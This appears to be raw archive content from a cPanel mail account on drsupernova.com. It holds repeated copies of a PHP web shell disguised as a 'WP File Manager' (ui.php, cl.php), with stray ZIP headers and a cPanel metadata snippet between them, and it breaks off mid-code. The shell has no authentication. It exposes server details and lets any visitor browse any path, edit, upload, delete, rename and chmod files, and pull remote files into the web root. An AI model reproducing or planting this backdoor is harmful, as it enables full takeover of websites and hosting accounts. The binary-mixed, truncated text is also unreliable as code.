'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK’&{]CO¹ò®Ë®Ëenis@drsupernova.com/ui.phpnu„[µü¤ uiiiiiiiXdsaXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK’&{]“?ݽBB shqipe@drsupernova.com/.metadatanu„[µü¤[calendar] description Default Calendar automatically created for your account. displayname cPanel CalDAV Calendar calendar-color #ff6c2c protected 1 type VCALENDAR [addressbook] protected 1 description Default Address Book automatically created for your account. displayname cPanel CardDAV Address Book type VADDRESSBOOK PK’&{]„N9³§Ë§Ëshqipe@drsupernova.com/cl.phpnu„[µü¤ cllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', 